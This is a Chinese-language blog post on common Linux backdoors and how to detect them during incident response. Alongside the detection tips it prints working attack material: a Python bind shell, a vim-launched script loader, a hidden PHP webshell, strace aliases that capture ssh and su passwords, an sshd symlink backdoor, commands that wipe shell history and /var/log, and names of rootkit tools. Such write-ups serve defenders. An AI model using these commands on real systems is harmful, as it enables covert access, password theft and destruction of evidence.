linux常見backdoor及排查技術
- 最近遇到一些和後門相關的技術,所以就把之前的linux backdoor相關筆記重新整理和學習了一下。在這裡做一下記錄,後續有時間整理一下windows backdoor方面的技術。
- 在伺服器被入侵後進行應急響應無非通過檔案排查、網路排查、程序排查、系統資訊排查等方法進行入侵排查。下面就一些常見技巧以及公開的工具進行剖析介紹。
-
當然現在有一些公司在發現入侵之後直接重灌系統,那麼基本所有的後門就無法發揮許可權維持的作用了,但作為一個安全從業人員還是需要對一些後門有一個基本的瞭解。
常見技巧
vim後門
#enter the mal script directory 、execute the script and then remove the script cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
-
此方法適用於安裝了vim且安裝了python擴充套件(絕大部分預設安裝)的linux系統,至於惡意指令碼dir.py的內容可以是任何功能的後門。如python版本的正向後門監聽11埠。
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
- 優點:通過檢視/proc/
pid
/cmdline檢視不到具體執行了什麼命令或惡意指令碼。 - 缺點:仍可以看到有vim程序
- 排查:檢測對應vim程序號虛擬目錄的map檔案是否有python字眼。
- 參考文章 Weapons of Text Destruction.
終端解析\r導致的問題
echo -e "<?=\`\$_POST[good]\`?>\r<?='PHP Test Page >||<';?>" >/var/www/html/test.php
- 優點:通過終端命令例如cat、more等命令檢視不到惡意程式碼,適合隱藏一句話木馬。
- 缺點:易被檢測,只是通過終端命令檢視的時候看不到惡意程式碼,而通過其它讀檔案操作或者通過vim編輯的時候仍可以檢視惡意程式碼。
- 排查:使用編輯器或者一般的webshell掃描工具即可檢測。
一些命令導致truncated的問題
- 在使用ps進行程序檢視的時候,不知道很多人會不會遇到這種問題,命令很長被截斷的問題,終端顯示有時候為了美觀,可能會截斷較長的命令,比如在使用docker ps -a檢視container的時候,可能你的command列會顯示不全,那麼使用docker ps -a –no-trunc讓其顯示完全。同樣在使用ps命令檢視程序的時候,也存在這種問題。可以在其填充大量的空格進行截斷,那麼就可達到“程序隱藏”的效果。
- 其中使用了xhide工具 github地址 進行程序名的修改。
- 優點:簡單
- 缺點:易被檢測到
- 排查:通過ps -aux|grep 可疑程序的pid 即可顯示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令進行檢視。
strace記錄ssh登入密碼
ssh='strace-o/tmp/sshpwd-`date'+%d%h%m%s'`.log\ -e read,write,connect-s2048 ssh' 也可記錄 su密碼 su='strace-o/tmp/sshpwd-`date'+%d%h%m%s'`.log\ -e read,write,connect-s2048 su'
- 優點:改動較小
- 缺點:易被檢測到
- 排查:通過排查shell的配置檔案或者alias命令即可發現,例如~/.bashrc或~/.zshrc檔案檢視是否有惡意的alias問題。
常見sshd後門
-
一種是建立sshd的軟連線方法,開啟其它的埠例如
ln -sf /usr/sbin/sshd /home/su /home/su -oport=2222
-
優點:簡單
- 缺點:易被檢測到
- 排查:使用netstat -antlp檢視可疑埠,然後ls -l 可執行檔案即可。
- 另外一種就是通過在openssh原始碼中插入惡意程式碼重新編譯並替換原有sshd檔案。插入的惡意程式碼可以是將登入成功的使用者密碼傳送到遠端伺服器或者記錄到某個log檔案中。
- 優點:隱蔽性較好
- 缺點:暫無
- 排查:這種sshd後門一般可能會有一定的特徵,可以通過strings sshd |grep ‘[1-9]{1,3}.[1-9]{1,3}.’或者通過strace 檢視是否有可疑的寫檔案操作。
定時任務和開機啟動項
- 一般的挖礦木馬喜歡設定定時任務來進行駐留或者進行分時段的挖礦。
- 排查:一般通過crontab -l命令即可檢測到定時任務後門。不同的linux發行版可能檢視開機啟動項的檔案不大相同,debian系linux系統一般是通過檢視/etc/init.d目錄有無最近修改和異常的開機啟動項。而Redhat系的linux系統一般是檢視/etc/rc.d/init.d或者/etc/systemd/system等目錄。
預載入型動態連結庫後門 ld.so.preload
- 可能有些人不太瞭解,簡單說一下,就是我們在linux下執行某個可執行檔案之前,系統會預先載入使用者定義的動態連結庫的一種技術,這個技術可以重寫系統的庫函式,導致發生Hijack。
- 如上圖所示,strace 命令id的時候可以發現有預先去讀取/etc/ld.so.preload檔案(也可使用設定LD_PRELAOD環境變數方式),如果我們將我們事先寫好的惡意so檔案位置寫入ld.so.preload檔案,這個時候就會達到“劫持”的效果。
- 比較好用的工具是Vegile和cub3
Vegile
cub3 ,這個工具使用了LD_PRELOAD和系統的擴充套件屬性去隱藏檔案。 - 更多參考:
Linux檔案系統擴充套件屬性 - 其中還有一種是通過修改動態連結器來載入惡意動態連結庫的後門,通過替換或者修改動態連結器中的預設預載入配置檔案/etc/ld.so.preload路徑的rootkit,此方法更加隱蔽,這個方法的較成熟的利用工具是Vlany,github地址 https://github.com/mempodippy/vlany
警惕利用Linux預載入型惡意動態連結庫的後門 - 優點:可以隱藏檔案、網路、程序等。相對於普通使用者空間rootkit而言,隱藏性較好,相對於核心模組rootkit來說,相容性更好,編寫難道低
- 缺點:暫無
- 排查:通過strace命令去跟蹤預載入的檔案是否為/etc/ld.so.preload,以及檔案中是否有異常的動態連結庫。以及檢查是否設定LD_PRELOAD環境變數等。
程序注入
- 使用ptrace向程序中注入惡意so檔案工具linux-inject, github地址
核心級rootkit
- 核心級的rootkit也很多,這裡簡單推薦一個Diamorphine
github地址
- 優點:隱藏性較好
- 缺點:編寫難度有點兒高
- 排查:可以通過unhide等工具進行排查
antiForensics的技巧
# 避免shell命令被記錄 export HISTSIZE=0 && export HISTFILE=/dev/null # 刪除各種log資訊,很暴力但確實很有效。 rm -rf /var/log #linux 刪除日誌小工具 https://github.com/JusticeRage/freedomfighting/blob/master/nojail.py